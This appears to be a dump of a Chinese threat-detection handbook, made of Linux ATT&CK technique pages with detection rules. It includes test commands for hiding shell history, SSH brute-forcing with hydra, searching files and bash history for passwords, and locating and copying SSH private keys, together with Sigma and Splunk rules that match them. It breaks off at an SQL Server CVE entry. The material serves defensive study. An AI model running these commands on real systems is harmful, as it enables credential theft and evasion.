Linux/07逃避防御/T1562-003-linux-Histcontrol.md ================================================ # T1562-003-Linux-Histcontrol ## 来自ATT&CK的描述 在HISTCONTROL环境变量决定了是否保存history命令,并最终进入~/.bash_history用户登录时出的文件。可以将此设置配置为忽略以空格开头的命令,只需将其设置为“ignorespace”即可。HISTCONTROL也可以设置为忽略重复命令,其使用方法是将其设置为“ignoredups”。在某些Linux系统中,默认设置为“ignoreboth”,它涵盖了前面的两个示例。这意味着“ls”将不会被保存,但“ls”将被历史保存。HISTCONTROL默认情况下在macOS上不存在,但可以由用户设置并且将受到保护。攻击者可以通过简单的在其所有终端命令之前添加空格来使用它进行操作操作而不留下痕迹。 ## 测试案例 export HISTCONTROL=ignoreboth ## 检测日志 bash历史记录 ## 测试复现 icbc@icbc:/$ ls icbc@icbc:/$ history 1 ls icbc@icbc:/$ export HISTCONTROL=ignoreboth icbc@icbc:/$ ls ## 测试留痕 icbc@icbc:/$ history 1 ls 2 export HISTCONTROL=ignoreboth 3 history ## 检测规则/思路 ### splunk规则 index=linux sourcetype="bash_history" export HISTCONTROL | table host, user_name, bash_command ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1562-003 linux history命令详解 ================================================ FILE: Linux/07逃避防御/T1564-001-linux-隐藏文件和目录.md ================================================ # T1564-001-Linux-隐藏文件和目录 ## 来自ATT&CK的描述 为了防止普通用户误操作更改系统上的特殊文件,大多数操作系统都具有“隐藏”文件的概念。当用户使用GUI浏览文件系统或在命令行上使用普通命令时,这些文件不会显示。用户必须明确要求通过一系列图形用户界面(GUI)提示或命令行查看隐藏文件。例如(windows下的dir /a,linux或MAC下的ls -a命令等) 攻击者可以利用这一点来隐藏系统中任何位置的文件和文件夹,以便持久化并逃避不进行隐藏文件分析的用户或分析师。 linux/mac 用户可以将特定文件标记为隐藏,只需将“.”作为文件或文件夹名称中的第一个字符。默认情况下,以点“.”开头的文件和文件夹无法在Finder应用程序和标准命令行实用程序(如“ls”)中查看。用户必须专门更改设置才能查看这些文件。对于命令行用法,通常会有一个标志来查看所有文件(包括隐藏文件)。要在Finder应用程序中查看这些文件,必须执行以下命令:defaults write com.apple.finder AppleShowAllFiles YES,然后重新启动Finder应用程序。 ## 测试案例 mkdir .xx -a #创建一个隐藏文件夹 mv file to a .file #移动文件到目录a下并修改为隐藏文件 ## 检测日志 bash历史记录 值得注意的是:你可以从一些特定目录路径中查找到隐藏文件/目录,并将其转储到某个位置。提取出可以文件夹并查找恶意隐藏文件。 ## 测试复现 icbc@icbc:/xx$ sudo mkdir .xx-a icbc@icbc:/xx$ sudo mv 1.sh /xx/.sh ## 测试留痕 icbc@icbc:/$ history 1 sudo mkdir .xx-a 2 sudo mv 1.sh /xx/.sh ## 检测规则/思路 ### splunk规则 index=linux sourcetype=bash_history bash_command="mkdir .*" | table host,user_name,bash_command index=linux sourcetype=bash_history bash_command="mv *.*" | table host,user_name,bash_command ### 建议 值得注意的是:你也可以通过命令直接在问题主机上进行查找,当然,你可以使用白名单来过滤掉linux系统中的标准隐藏文件/目录。这样可以减轻误报。 find_hidden_files.sh ``` dos find /home/ -name ".*" find /home/ -type d -name ".*" find /home/ -type f -name ".*" ``` ## 相关TIP [[T1564-001-win-发现攻击者在回收站中隐藏恶意软件]] [[T1564-001-win-隐藏的文件和目录]] [[T1564-003-win-隐藏窗口]] ## 参考推荐 MITRE-ATT&CK-T1564-001 ================================================ FILE: Linux/08凭证访问/T1110-003-Linux-SSH暴力破解.md ================================================ # T1110-003-Linux-SSH暴力破解 ## 来自ATT&CK的描述 当密码未知时,攻击者可以使用暴力破解尝试获取访问帐户密码。攻击者在操作期间尝试暴力破解登录,这是一个风险较高的选项,因为它可能导致大量身份验证失败记录以及帐户锁定,账户锁定具体取决于所设置的登录失败策略。 通常,可以对使用常用端口上的服务进行密码喷射攻击。常见linux服务包括以下内容: - SSH(22/TCP) - Telnet(23/TCP) - FTP(21/ TCP) ## 测试案例 以下经典工具可用于端口爆破: - Hydra - Medusa - Patator - Brutepray - …… ## 检测日志 linux 系统日志(auth.log) linux audit日志 ## 测试复现 ``` shell root@icbc:/hacker/mima# hydra -l root -P passwd.txt ssh://192.168.159.132 -V Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. ``` ## 测试留痕 auth.log ``` log Failed password for root from 192.168.159.129 port 43728 ssh2 ``` audit.log ``` log type=USER_AUTH msg=audit(1572163129.581:316): pid=2165 uid=0 auid=4294967295 ses=4294967295 msg='op=PAM:authentication acct="root" exe="/usr/sbin/sshd" hostname=192.168.159.129 addr=192.168.159.129 terminal=ssh res=failed' ``` ## 检测规则/思路 ### sigma规则 ``` yml title: linux下ssh暴力破解 description: Ubuntu18.04、kali references: tags: T1110-003 status: experimental author: 12306Bro logsource: product: linux service: auth.log/audit.log detection: keywords: - 'Failed password for * ssh2' #linux auth.log - '* exe="/usr/sbin/sshd" * terminal=ssh res=failed' #linux audit.log condition: keywords level: medium ``` ### elk公布检测规则 ``` yml query = ''' sequence by host.id, source.ip, user.name with maxspan=3s [authentication where event.action in ("ssh_login", "user_login") and event.outcome == "failure" and source.ip != null and source.ip != "0.0.0.0" and source.ip != "::" ] with runs=2 [authentication where event.action in ("ssh_login", "user_login") and event.outcome == "success" and source.ip != null and source.ip != "0.0.0.0" and source.ip != "::" ] ''' ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1110-003 ================================================ FILE: Linux/08凭证访问/T1552-001-linux-文件中的凭据.md ================================================ # T1552-001-Linux-文件中的凭据 ## 来自ATT&CK的描述 攻击者可能会在本地文件系统和远程文件共享中搜索包含不安全存储的凭据的文件。这些文件可以是用户创建的用于存储自己的凭据的文件,一组个人的共享凭据存储,包含系统或服务密码的配置文件或包含嵌入式密码的源代码/二进制文件。 可以通过OS Credential Dumping从备份或保存的虚拟机中提取密码。也可以从Windows域控制器上存储的组策略首选项中获取密码。 在云环境中,经过身份验证的用户凭据通常存储在本地配置和凭据文件中。在某些情况下,可以将这些文件复制并在另一台机器上重复使用,或者可以读取内容,然后将其用于身份验证,而无需复制任何文件。 ## 测试案例 grep -riP password #{想要查找的文件路径} grep -riP password / ## 检测日志 linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略) bash历史记录 ## 测试复现 icbc@icbc:/$ grep -riP passwd /etc/passwd ## 测试留痕 ### audit日志 icbc@icbc:/$ gedit /var/log/audit/audit.log type=SYSCALL msg=audit(1563526266.080:744): arch=c000003e syscall=59 success=yes exit=0 a0=55f3435691b0 a1=55f3434345d0 a2=55f343573580 a3=8 items=2 ppid=2031 pid=4855 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=3 comm="grep" exe="/usr/bin/grep" key="auditcmd" type=EXECVE msg=audit(1563526266.080:744): argc=5 a0="grep" a1="--color=auto" a2="-riP" a3="passwd" a4="/etc/passwd" type=CWD msg=audit(1563526266.080:744): cwd="/" type=PATH msg=audit(1563526266.080:744): item=0 name="/usr/bin/grep" inode=2228723 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 值得注意的是:这里只提取出了异常日志,故省略了很多日志细节。 ### bash历史记录 icbc@icbc:/$ history 1 grep -riP passwd /etc/passwd ## 检测规则/思路 ### splunk规则 audit日志 ``` yml index=linux sourcetype=linux_audit type=execve a0=grep a0="grep" a1="--color=auto" a2="-riP" a3="passwd" ``` ### splunk规则 bash 历史记录 ``` yml index=linux sourcetype="bash_history" grep password | table host,user_name,bash_command ``` ### sigma规则 值得注意的是:你需要自行配置Audit审核规则 ``` yml title: 攻击者查看linux下可能包含用户账户密码的文件 description: Ubuntu18.04 references: https://github.com/12306Bro/Threathunting/blob/master/T1081-linux-文件中的凭证.md tags: T1552-001 status: experimental author: 12306Bro logsource: product: linux service: audit(需要自行配置audit规则) detection: keywords: ​ - comm="grep" exe="/bin/grep" key="audit_110" condition: keywords logsource: product: linux service: history detection: selection: keywords: ​ - grep * passwd condition: keywords level: medium ``` ### 建议 暂无 ## 相关TIP [[T1552-001-win-文件中的凭证]] [[T1552-002-win-注册表中的凭证]] [[T1552-003-linux-Bash历史]] [[T1552-004-linux-私钥]] [[T1552-006-win-GPP-凭证转储]] ## 参考推荐 MITRE-ATT&CK-T1552-001 ================================================ FILE: Linux/08凭证访问/T1552-003-linux-Bash历史.md ================================================ # T1552-003-Linux-Bash历史记录 ## 来自ATT&CK的描述 Bash使用“history”实用程序跟踪用户在命令行上键入的命令。用户注销后,会将历史记录刷新到用户的`.bash_history`文件中。对于每个用户,此文件位于同一位置:`~/.bash_history`。通常,此文件会跟踪用户的最近500个命令。用户通常在命令行上键入用户名和密码作为程序的参数,然后在注销时将其保存到此文件中。攻击者可以通过滥用此功能来查看文件来查看潜在凭据。 ## 测试案例 cat #{bash历史命令名字} | grep #{bash历史命令关键词检索} > #{输出文件名} sudo cat ~/.bash_history | grep password > bash.txt ## 检测日志 linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略) bash历史记录 ## 测试复现 icbc@icbc:/$ sudo cat ~/.bash_history | grep password > bash.txt ## 测试留痕 ### audit日志 icbc@icbc:/$ sudo cat ~/.bash_history | grep password > bash.txt type=PATH msg=audit(1563528127.048:1097): item=0 name="/usr/bin/cat" inode=2228383 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 type=PATH msg=audit(1563528127.048:1097): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=2237074 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 type=PROCTITLE msg=audit(1563528127.048:1097): proctitle=636174002F726F6F742F2E626173685F686973746F7279 type=SYSCALL msg=audit(1563528127.056:1099): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffd4ebbb73b a2=0 a3=0 items=1 ppid=5249 pid=5258 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=3 comm="cat" exe="/usr/bin/cat" key="bash_history_110" type=CWD msg=audit(1563528127.056:1099): cwd="/root" 值得注意的是:这里只提取出了异常日志,故省略了很多日志细节。 ### bash历史记录 icbc@icbc:/$ history 1 sudo cat ~/.bash_history | grep password > bash.txt ## 检测规则/思路 ### splunk规则 audit 日志 ``` yml index=linux sourcetype="linux_audit" syscall=257 key=bash_history_110 | table host,auid,syscall,syscall_name,exe ``` 值得注意的是:你需要自行配置Audit审核规则 ``` history sudo auditctl -w ~/.bash_history -k bash_history_110 ``` bash 历史记录 ``` yml index=linux sourcetype=bash_history cat bash_history | table _time,host,user_name,bash_command ``` ### sigma规则 ``` yml title: 攻击者读取linux下~/.bash_history文件,查看是否包含相关凭据密码 description: Ubuntu18.04 references: https://github.com/12306Bro/Threat-hunting/blob/master/T1139-linux-Bash历史记录.md tags: T1552-003 status: experimental author: 12306Bro logsource: ​ product: linux ​ service: audit detection: ​ keywords: ​ - syscall=257 key=bash_history_110 ​ condition: keywords - --------------------------------------------------------------------------------------- logsource: ​ product: linux ​ service: history detection: ​ selection: ​ keywords: ​ - cat bash_history ​ condition: keywords level: medium ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1552-003 Audit配置手册 ================================================ FILE: Linux/08凭证访问/T1552-004-linux-私钥.md ================================================ # T1552-004-Linux-私钥 ## 来自ATT&CK的描述 攻击者可以从被入侵的系统上收集私钥,用于对SSH等远程服务进行身份验证(暴力破解等),或者用于解密其他收集的文件,如电子邮件。通用密钥和证书文件扩展名包括:.key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. ;攻击者还可以查看常见的密钥目录,例如基于linux/unix的系统下的~/.ssh目录或Windows 上的SSH密钥C:\Users(username).ssh\。 私钥应该需要密码来进行操作,因此攻击者也可以使用键盘记录获取密码或尝试离线爆破账号密码。 ## 测试案例 find / -type f ( -name "*.pem" -o -name "*.pgp" -o -name "*.gpg" -o -name "*.ppk" -o -name "*.p12" -o -name "*.key" -o -name "*.pfx" -o -name "*.cer" -o -name "*.p7b" -o -name "*.asc" -o -name "authorized*" ) 查找用户的SSH私钥:find / -name id_rsa OR find / -name id_dsa 使用CP复制SSH私钥:find / -name id_rsa -exec cp --parents {} #{output_folder} ; find / -name id_dsa -exec cp --parents {} #{output_folder} ; 使用rsync复制SSH私钥:find / -name id_rsa -exec rsync -R {} #{output_folder} ; find / -name id_dsa -exec rsync -R {} #{output_folder} ; ## 检测日志 bash历史记录 ## 测试复现 icbc@icbc:/$ sudo find / -name id_rsa 不再进行一一测试 ## 测试留痕 icbc@icbc:/$ history 639 sudo find / -name id_rsa ## 检测规则/思路 ### sigma规则 ``` yml title: 攻击者查找linux下私钥文件 description: Ubuntu18.04 references: https://github.com/12306Bro/Threathunting/blob/master/T1145-linux-私钥.md tags: T1552-004 status: experimental author: 12306Bro logsource: product: linux service: history detection: keywords: - sudo find / -name *.pgp - sudo find / -name *.pem - sudo find / -name *.ppk - sudo find / -name *.p12 - sudo find / -name *.key condition: keywords level: medium ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1552-004 linux下的rsync六个使用实例 ================================================ FILE: Linux/09发现/T1040-linux-网络嗅探.md ================================================ # T1040-Linux-网络嗅探 ## 来自ATT&CK的描述 网络嗅探是指使用系统上的网络接口来监视或捕获通过有线或无线连接发送的信息。攻击者可以将网络接口置于混杂模式以通过网络被动地访问传输中的数据,或者使用跨接端口来捕获更大量的数据。 通过该技术可以捕获的数据包括用户凭证,尤其是通过不安全的未加密协议发送的凭证;网络嗅探还可以获取到配置细节,例如运行服务,版本号以及后续横向移动或防御逃避活动所需的其他网络特征(例如:IP寻址,主机名,VLAN ID)。 ## 测试案例 tcpdump -c 5 -nnni #{网卡接口} tshark -c 5 -i #{网卡接口} ## 检测日志 linux /var/log/message (值得注意的是:Ubuntu下默认不开启message日志,需要手动开启) ## 测试复现 ### 场景一 root@icbc:~# tcpdump -c 5 -nnni ens33 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes 10:37:34.347544 IP 192.168.66.1.60886 > 239.255.255.250.1900: UDP, length 137 10:37:37.355725 IP 192.168.66.1.60886 > 239.255.255.250.1900: UDP, length 137 10:37:40.356238 IP 192.168.66.1.60886 > 239.255.255.250.1900: UDP, length 137 10:37:43.356969 IP 192.168.66.1.60886 > 239.255.255.250.1900: UDP, length 137 10:37:49.808569 IP 192.168.66.148.59150 > 192.168.66.2.53: 15476+ [1au] A? connectivity-check.ubuntu.com. (58) 5 packets captured 5 packets received by filter 0 packets dropped by kernel ### 场景二 root@icbc:~# tshark -c 5 -i ens33 Running as user "root" and group "root". This could be dangerous. Capturing on 'ens33' 1 0.000000000 192.168.66.148 → 192.168.66.2 DNS 100 Standard query 0xe349 A connectivity-check.ubuntu.com OPT 2 0.038532840 Vmware_e8:11:b3 → Broadcast ARP 60 Who has 192.168.66.148? Tell 192.168.66.2 3 0.038552195 Vmware_02:d5:c7 → Vmware_e8:11:b3 ARP 42 192.168.66.148 is at 00:0c:29:02:d5:c7 4 0.038758293 192.168.66.2 → 192.168.66.148 DNS 132 Standard query response 0xe349 A connectivity-check.ubuntu.com A 35.224.99.156 A 35.222.85.5 OPT 5 0.039670671 192.168.66.148 → 35.222.85.5 TCP 74 57812 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=136575048 TSecr=0 WS=128 5 packets captured ## 测试留痕 ### 场景1 message日志 Jul 19 10:37:33 icbc kernel: [ 298.396406] device ens33 entered promiscuous mode ### 场景2 message日志 Jul 19 10:47:42 icbc systemd[1]: Started Cleanup of Temporary Directories. Jul 19 10:47:50 icbc kernel: [ 915.199848] device ens33 left promiscuous mode Jul 19 10:47:50 icbc start.sh[734]: 2019-07-19 10:47:50,165: DEBUG helpers.application.health RAM: 65MB ## 检测规则/思路 ### splunk检测规则 index=linux sourcetype=syslog entered promiscuous mode | table host,message index=linux sourcetype=syslog left promiscuous mode | table host,message ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1040 ================================================ FILE: Linux/09发现/T1046-linux-使用nping扫描探测.md ================================================ # T1046-Linux-使用nping扫描探测 ## 来自ATT&CK的描述 攻击者可能会尝试获取在远程主机和本地网络基础设施设备上运行的服务列表,包括那些可能容易受到远程软件利用的服务。获取此信息的常用方法包括使用系统自带的工具进行端口或漏洞扫描。 ## 测试案例 Nping允许用户发送多种协议(TCP、UDP、ICMP和ARP协议)的数据包。可以调整协议头中的字段,例如可以设置TCP和UDP的源端口和目的端口。 主要功能------------------------------------------------------------------------------------------------------------ - 发送ICMP echo请求 - 对网络进行压力测试 - ARP毒化攻击 - DoS攻击 - 支持多种探测模式 - 可以探测多个主机的多个端口 nping常用参数: 用法:nping [Probe mode][Options] {target specification} Probe mode(探测模式) - -tcp-connect 无特权的tcp连接探测模式; - -tcp TCP探测模式 - -udp --icmp --arp - tr,--traceroute 路由跟踪模式(仅能和tcp、udp、icmp模式一起使用) - p, --dest-port 目标端口 - g, --source-port 源端口 - -seq 设置序列号 - -flags 设置tcp标识(ack,psh,rst,syn,fin) - -ack 设置ack数 - S,--source-ip 设置源IP地址 - -dest-ip 目的IP地址 - c 设置次数 - e,--interface 接口 - H,--hide-sent 不显示发送的包 - N,--no-capture 不抓获回复包 - v 增加冗余等级 - q 减少冗余登记 ## 检测日志 linux日志 ## 测试复现 向目标主机的22端口发送一次TCP数据包,用于查看主机是否开启SSH服务。 ``` bash liu@Parallels:/var/log$ sudo nping -c 1 -p 22 192.168.50.128-129 --tcp Starting Nping 0.7.60 ( https://nmap.org/nping ) at 2022-09-24 23:53 CST SENT (0.0589s) TCP 10.211.55.48:15023 > 192.168.50.128:22 S ttl=64 id=64729 iplen=40 seq=125735927 win=1480------------------------------------------------------------------------------------------------------------ SENT (1.0599s) TCP 10.211.55.48:15023 > 192.168.50.129:22 S ttl=64 id=64729 iplen=40 seq=125735927 win=1480------------------------------------------------------------------------------------------------------------ - ----------------------------------------------------------------------------------------------------------- Statistics for host 192.168.50.128: | Probes Sent: 1 | Rcvd: 0 | Lost: 1 (100.00%) |_ Max rtt: N/A | Min rtt: N/A | Avg rtt: N/A Statistics for host 192.168.50.129: | Probes Sent: 1 | Rcvd: 0 | Lost: 1 (100.00%) |_ Max rtt: N/A | Min rtt: N/A | Avg rtt: N/A Raw packets sent: 2 (80B) | Rcvd: 0 (0B) | Lost: 2 (100.00%) Nping done: 2 IP addresses pinged in 2.10 seconds ``` ## 测试留痕 暂无 ## 检测规则/思路 ### Elastic ``` yml query = ''' event.category:process and event.type:(start or process_started) and process.name:nping ''' ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1046 Nping Process Activity Kali基本扫描工具 ================================================ FILE: Linux/09发现/T1082-linux-Hping存活主机发现.md ================================================ # T1082-Linux-系统信息发现 ## 来自ATT&CK的描述 攻击者可能试图获取有关操作系统和硬件的详细信息,包括版本,补丁,修补程序,服务包和目录结构。攻击者可以在发现过程中使用系统信息中发现的信息来决定后续的操作,包括攻击者是否完全感染了目标或尝试了特定操作。 ## 测试案例 hping是用于生成和解析TCPIP协议数据包的开源工具。创作者是Salvatore Sanfilippo。目前最新版是hping3,支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。 ## 检测日志 Linux audit日志 ## 测试复现 ``` bash yyds@12306Br0:/var/log/audit$ sudo hping3 -I enp0s5 -S 10.211.55.35 -p 22 [sudo] yyds 的密码: HPING 10.211.55.35 (enp0s5 10.211.55.35): S set, 40 headers + 0 data bytes len=40 ip=10.211.55.35 ttl=64 DF id=0 sport=22 flags=RA seq=0 win=0 rtt=7.3 ms len=40 ip=10.211.55.35 ttl=64 DF id=0 sport=22 flags=RA seq=1 win=0 rtt=8.4 ms len=40 ip=10.211.55.35 ttl=64 DF id=0 sport=22 flags=RA seq=2 win=0 rtt=6.6 ms len=40 ip=10.211.55.35 ttl=64 DF id=0 sport=22 flags=RA seq=3 win=0 rtt=6.3 ms len=40 ip=10.211.55.35 ttl=64 DF id=0 sport=22 flags=RA seq=4 win=0 rtt=1.8 ms len=40 ip=10.211.55.35 ttl=64 DF id=0 sport=22 flags=RA seq=5 win=0 rtt=6.0 ms len=40 ip=10.211.55.35 ttl=64 DF id=0 sport=22 flags=RA seq=6 win=0 rtt=8.5 ms ``` 注意权限问题,权限过低会报错 ## 测试留痕 ``` yml type=SYSCALL msg=audit(1654607530.513:15004): arch=c000003e syscall=59 success=yes exit=0 a0=55b2b32403f8 a1=55b2b31eacb0 a2=55b2b3241ed0 a3=0 items=2 ppid=36880 pid=36881 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts2 ses=2 comm="hping3" exe="/usr/sbin/hping3" subj=? key="rootcmd"ARCH=x86_64 SYSCALL=execve AUID="yyds" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654607530.513:15004): argc=7 a0="hping3" a1="-I" a2="enp0s5" a3="-S" a4="10.211.55.35" a5="-p" a6="22" ``` ## 检测规则/思路 ### elastic规则 ``` yml query = ''' event.category:process and event.type:(start or process_started) and process.name:(hping or hping2 or hping3) ''' ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1082 discovery_linux_hping_activity kali工具-信息收集之存活主机识别(Hping) ================================================ FILE: Linux/09发现/T1087-001-linux-本地账户发现.md ================================================ # T1087-001-Linux-本地账户发现 ## 来自ATT&CK的描述 攻击者可能会尝试获取本地系统帐户的列表。此信息可以帮助攻击者确定系统上存在哪些本地帐户,以帮助后续行为。 在Linux上,可以通过使用/etc/passwd的文件来枚举本地用户。在mac中,除文件外,此相同文件仅用于单用户模式/etc/master.passwd。此外,可以通过groups和id命令枚举组。 ## 测试案例 枚举所有账户:cat /etc/passwd 查看sudoers文件:cat /etc/sudoers 查看UID为0的帐户:username=$(echo $HOME | awk -F'/' '{print $3}') && lsof -u $username 显示用户帐户是否有远程记录器:lastlog 枚举用户和组:groups 或者 id ## 检测日志 bash历史记录 ## 测试复现 枚举所有账户:cat /etc/passwd 查看sudoers文件:cat /etc/sudoers (需要root权限) 查看UID为0的帐户:username=$(echo $HOME | awk -F'/' '{print $3}') && lsof -u $username 显示用户帐户是否有远程记录器:lastlog 枚举用户和组:groups(需要root权限) 或者 id ## 测试留痕 root@icbc:~/Desktop$ history 385 cat /etc/passwd 386 cat /etc/sudoers 387 username=$(echo $HOME | awk -F'/' '{print $3}') && lsof -u $username 388 lastlog 389 groups 390 id 391 history ## 检测规则/思路 ### splunk规则 index=linux sourcetype=bash_history cat /etc/passwd | table host,user_name,bash_command index=linux sourcetype=bash_history cat /etc/sudoers | table host,user_name,bash_command index=linux sourcetype=bash_history "lsof -u *" | table host,user_name,bash_command index=linux sourcetype=bash_history lastlog | table host,user_name,bash_command index=linux sourcetype=bash_history group OR id | table host,user_name,bash_command ### 建议 值得注意的是:应该结合上下文中查看研判,而不是单独依靠关键词检测,因为系统管理员经常使用这些命令进行合法操作。 ## 参考推荐 MITRE-ATT&CK-T1087-001 linux UID详解 linux ID查看命令详解 ================================================ FILE: Linux/09发现/T1557-002-linux-ARP网络嗅探.md ================================================ # T1557-002-Linux-ARP网络嗅探 ## 来自ATT&CK的描述 攻击者可能会在地址解析协议(ARP)缓存中下毒,将自己置于两个或多个联网设备的通信之间。这种活动可能被用来实现后续的攻击行为,如网络嗅探或传输数据操纵。 ARP协议用于将IPv4地址解析为链路层地址,如媒体访问控制(MAC)地址。本地网段中的设备通过使用链路层地址相互通信。如果一个联网设备没有特定联网设备的链路层地址,它可以向本地网络发出广播ARP请求,将IP地址翻译成MAC地址。拥有相关IP地址的设备会直接回复其MAC地址。发出ARP请求的联网设备就会使用以及在其ARP缓存中存储该信息。 攻击者可能会被动地等待一个ARP请求,以毒害请求设备的ARP缓存。攻击者可能会用他们的MAC地址进行回复,从而欺骗受害者,让他们相信他们正在与预定的网络设备进行通信。攻击者要毒害ARP缓存,他们的回复必须比合法IP地址所有者的回复快。攻击者也可以发送一个无偿的ARP回复,恶意地向本地网段的所有设备宣布某个IP地址的所有权。 ARP协议是无状态的,不需要认证。因此,设备可能会错误地添加或更新其ARP缓存中的IP地址的MAC地址。 攻击者可能利用ARP缓存中毒作为中间人(MiTM)网络流量的一种手段。这种活动可能被用来收集或转发数据,如证书,特别是那些通过不安全的、未加密的协议发送的数据。 ## 测试案例 linux下arp命令执行 ARP -A,查询系统中缓存的ARP表。ARP表用来维护IP地址与MAC地址的一一对应。 ## 检测日志 linux audit日志 ## 测试复现 暂无 ## 测试留痕 ``` yml type=SYSCALL msg=audit(1604994496.155:92733): arch=c000003e syscall=59 success=yes exit=0 a0=558e251634a0 a1=558e25162a50 a2=558e25160800 a3=8 items=2 ppid=29002 pid=1631 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=104 comm="arp" exe="/usr/sbin/arp" key=(null) type=EXECVE msg=audit(1604994496.155:92733): argc=2 a0="arp" a1="-a" type=CWD msg=audit(1604994496.155:92733): cwd="/home/wardog" type=PATH msg=audit(1604994496.155:92733): item=0 name="/usr/sbin/arp" inode=13181 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PATH msg=audit(1604994496.155:92733): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=29514 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PROCTITLE msg=audit(1604994496.155:92733): proctitle=617270002D61 type=SYSCALL msg=audit(1604994496.155:92734): arch=c000003e syscall=59 success=yes exit=0 a0=558e251634a0 a1=558e25163720 a2=558e25160800 a3=558e2500a010 items=2 ppid=29002 pid=1632 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=104 comm="grep" exe="/bin/grep" key=(null) type=EXECVE msg=audit(1604994496.155:92734): argc=3 a0="grep" a1="-v" a2="^?" type=CWD msg=audit(1604994496.155:92734): cwd="/home/wardog" type=PATH msg=audit(1604994496.155:92734): item=0 name="/bin/grep" inode=61 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PATH msg=audit(1604994496.155:92734): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=29514 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PROCTITLE msg=audit(1604994496.155:92734): proctitle=67726570002D76005E3F ``` ## 检测规则/思路 检测audit日志中arp命令的使用情况。 ``` yml type=SYSCALL msg=audit(1604994496.155:92733): arch=c000003e syscall=59 success=yes exit=0 a0=558e251634a0 a1=558e25162a50 a2=558e25160800 a3=8 items=2 ppid=29002 pid=1631 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=104 comm="arp" exe="/usr/sbin/arp" key=(null) type=EXECVE msg=audit(1604994496.155:92733): argc=2 a0="arp" a1="-a" ``` ### 建议 监测网络流量,看是否有不寻常的ARP流量,无偿的ARP回复可能是可疑的。 考虑收集各端点ARP缓存的变化,以发现ARP中毒的迹象。例如,如果多个IP地址映射到一个MAC地址,这可能是ARP缓存被投毒的一个指标。 ## 参考推荐 MITRE-ATT&CK-T1557-002 测试留痕数据来源 ================================================ FILE: README.md ================================================ # Threat-Analysis-Handbook ## 简介 Threat-Analysis-Handbook目前已覆盖105个TID,332个技术点。主要涵盖Web、Windows AD、Linux,涉及ATT&CK技术、模拟测试、检测思路、检测所需数据源等。 ## 规则说明 Web方面检测规则为Suricata、Sigma两种格式,终端检测规则为Sigma格式为主。 ## ATTCK矩阵覆盖情况 ![覆盖图](img/index.png) ================================================ FILE: Web/2020/T1190-CVE-2020-0618-SQLserver远程代码执行漏洞.md ================================================ # T1190-CVE-2020-0618-SQL_server远程代码执行漏洞--------- ## 来自ATT&CK的描述--------- 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。--------- 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。--------- 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。--------- ## 测试案例--------- SQL Server Reporting Services是依托于SQL Server的一个附属组件。其作用是利用SQL Server 中的数据,便捷的生成用户友好的图表。该服务默认是内部服务,默认开放在localhost的80端口。--------- 该漏洞需要经过身份验证后,攻击者向SQL Server 的报告服务(Reporting Services) 发送特制请求进行触发。攻击成功可获得SQL 